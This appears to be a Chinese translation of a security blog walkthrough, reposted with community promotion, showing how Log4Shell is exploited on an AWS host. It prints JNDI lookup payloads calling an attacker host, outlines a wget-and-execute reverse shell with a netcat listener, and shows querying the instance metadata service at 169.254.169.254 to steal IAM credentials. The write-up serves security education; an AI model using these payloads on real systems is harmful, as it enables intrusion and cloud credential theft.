看我如何在云环境中利用Log4j漏洞

admin 2022年11月24日22:21:15评论35 views字数 3177阅读10分35秒阅读模式

  


及时修复0day漏洞相关的安全漏洞的方法之一是站在攻击者的角度,了解他们正在使用的战术、技术和程序 (TTP) 和目标。就Log4j而言,由于 AWS 在大多数多云环境中普遍存在,因此在AWS 云中对 Log4j TTP 进行威胁狩猎是管理与 Log4j 相关风险的关键任务方法。



关于 Log4Shell 安全漏洞

Log4j默认支持称为Message Lookup Substitution的日志记录功能。此功能使某些特殊字符串能够在日志记录期间被其他动态生成的字符串替换。例如,通过易受攻击的标头之一将字符串 ${hostName} 发送到易受攻击的主机将产生类似于以下内容的输出:

Production-env-symfony-admin1


已经发现其中一种查找方法,JNDI 查找与 LDAP 协议配对,将从远程源获取指定的 Java 类并将其反序列化,在此过程中执行该类的一些代码。


这意味着如果远程攻击者可以控制记录字符串的任何部分,攻击者就可以在记录该字符串的应用程序上远程执行代码。


利用此缺陷的最常见替换字符串如下所示:

${jndi:ldap:/attacker.com}


Log4j 安全漏洞由此payload触发,服务器通过“ Java 命名和目录接口”(JNDI) 向 attacker.com 发出请求。此响应包含注入到服务器进程中的远程 Java 类文件(例如 http://second-stage-attacker.com/Exploit.class)的路径。这个注入的payload会触发第二阶段,并允许攻击者执行任意代码。


由于 Java 漏洞的普遍性,安全研究人员创建了可以轻松利用它们的工具。marshalsec 项目只是展示如何为此漏洞创建利用payload的众多项目之一。此恶意 LDAP 服务器可用作利用示例。


Log4j 攻击场景

在互联网上搜索臭名昭著的 Log4j 安全漏洞时,攻击者发现了 34.211.111.254,它似乎容易受到 Log4j 的攻击。我们可以从一个开源的 Log4j 检测工具开始,比如 https://github.com/cisagov/log4j-scanner


攻击者使用 Log4j 扫描器扫描易受攻击的主机,并为其分配一个自定义 dns 回调主机——738iobradsxc7dxuyhlrindogfm7aw.burpcollaborator.net,如以下屏幕截图所示。


DNS 回调确实在我们的 Burp 协作者主机上收到,如屏幕截图的下半部分所示,这强烈表明该主机存在漏洞。


看我如何在云环境中利用Log4j漏洞


看我如何在云环境中利用Log4j漏洞


在我们确认主机可能容易受到 Log4j 漏洞的攻击后,接下来的步骤就是准备我们的环境。


为此,我们需要设置以下内容:

  • 恶意 JNDI 工具包 – JNDI Exploit Kit Injection 工具包是一种用于创建功能性 JNDI 链接并通过启动 RMI、LDAP 和 HTTP 服务器提供后台服务的工具。


  • 端口 1337 上的本地 python 服务器


  • 端口 8080 上的 Netcat 监听器



当我们运行恶意 JNDI 工具包时,我们将能够同时监听两个端口:LDAP 和 HTTP。JNDI 工具包将收到发送到易受攻击主机的精心制作请求。

看我如何在云环境中利用Log4j漏洞


看我如何在云环境中利用Log4j漏洞

我们将从可以发送到易受攻击主机的各种payload中选择以下 JNDI Payload约定:

{jndi:ldap://34.211.111.254:8080/Basic/Command/Base64/[BASE_64_PAYLOAD_HERE]}

我们将使用msfvenom生成我们的反向 shell payload elf文件:

看我如何在云环境中利用Log4j漏洞


基本上我们的 base64 payload 将做的是使用wget下载反向 shell payload 到/tmp/文件夹,通过使用chmod*设置一个“x”标志使其可执行,最后执行它。如果一切按预期进行,我们应该得到我们的反向 shell。


在发送我们精心制作的payload之前,我们将确保我们的本地 python 服务器正在侦听端口 1337。

看我如何在云环境中利用Log4j漏洞

最后,在指定的反向 shell 端口 (8080) 上设置我们的 netcat:

看我如何在云环境中利用Log4j漏洞

以下屏幕截图显示了我们的侦听器和我们通过 curl 准备的 GET 请求:

看我如何在云环境中利用Log4j漏洞

我们将发送我们精心设计的请求:

看我如何在云环境中利用Log4j漏洞

 

上面的截图显示我们得到了我们的反向 shell。


一旦我们进入易受攻击的应用程序容器,我们就可以看看是否可以使用当前环境的约束来逃脱 and/or 支点。让我们看看从这里我们可以去哪里,即使我们以 root 用户身份获得反向 shell:


看我如何在云环境中利用Log4j漏洞 

上面截图显示没有环境变量、python、curl、wget,/home/目录下也没有用户。

通过列出当前文件夹和文件,我们可以了解到我们可能正在容器中运行我们的 shell,因为/app/文件夹包含当前正在运行的应用程序,这是我们易受攻击的 Log4j 应用程序:


看我如何在云环境中利用Log4j漏洞


要执行攻击,我们有两个主要选择:

  1. 我们可以尝试执行Docker逃逸;

  2. 由于我们易受攻击的主机运行在Amazon Linux AMI上,我们可以尝试通过滥用 IMDSv2(实例元数据服务)来检索敏感数据。


由于在我们的案例中无法执行 Docker 转义,我将使用第二个选项。


我将使用BusyBox,它是一个多调用二进制文件,它将许多常见的 Unix 实用程序组合到一个可执行文件中。这些是我们可以使用的可执行文件:


看我如何在云环境中利用Log4j漏洞


我将使用 wget 来发送我们的请求。我将发送以下请求,以查看是否可以通过向以下端点发送 GET 请求来访问 IMDSv2:

http://169.254.169.254


所以我们的最终请求是:

busybox wget http://169.254.169.254


看我如何在云环境中利用Log4j漏洞

  

nice!看来我们检索了 IMDSv2 的各种路径。我想访问 EC2 实例的安全凭证的更有趣的路径之一是:

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/


此端点返回一组奇怪的 IAM 凭证,AWS 文档将其描述为:


看我如何在云环境中利用Log4j漏洞


上面的截图显示我们检索了三个主要变量:

AccessKeyId、SecretAccessKey 和临时Session Token。


检索后,我将在我的攻击者 ~/.aws/credentials 文件中设置所有三个,如下所示:


看我如何在云环境中利用Log4j漏洞


我会将同样检索到的“Session Token”值添加到 ~/.aws/credentials 文件中:


看我如何在云环境中利用Log4j漏洞


现在一切就绪,让我们查看其凭据用于通过执行“get-caller-identity”命令调用操作的 IAM 用户或角色的详细信息。


看我如何在云环境中利用Log4j漏洞



Log4Shell 漏洞总结

我们通过利用受害主机上易受攻击的 Log4j 版本来检索 IMDSv2 信息。通过将AccessKeyId、SecretAccessKey 和临时Session Token添加到攻击者的凭证文件中,我们能够查询 AWS 账户并检索有关该账户和 EC2 实例的信息。



本文为译文,原文链接:https://orca.security/resources/blog/log4j-security-vulnerability-log4shell-ttps-aws/


【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

看我如何在云环境中利用Log4j漏洞


看我如何在云环境中利用Log4j漏洞

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!

如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)


看我如何在云环境中利用Log4j漏洞

//  火线Zone //

微信号 : huoxian_zone


看我如何在云环境中利用Log4j漏洞

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):看我如何在云环境中利用Log4j漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月24日22:21:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   看我如何在云环境中利用Log4j漏洞http://cn-sec.com/archives/1421612.html

发表评论

匿名网友 填写信息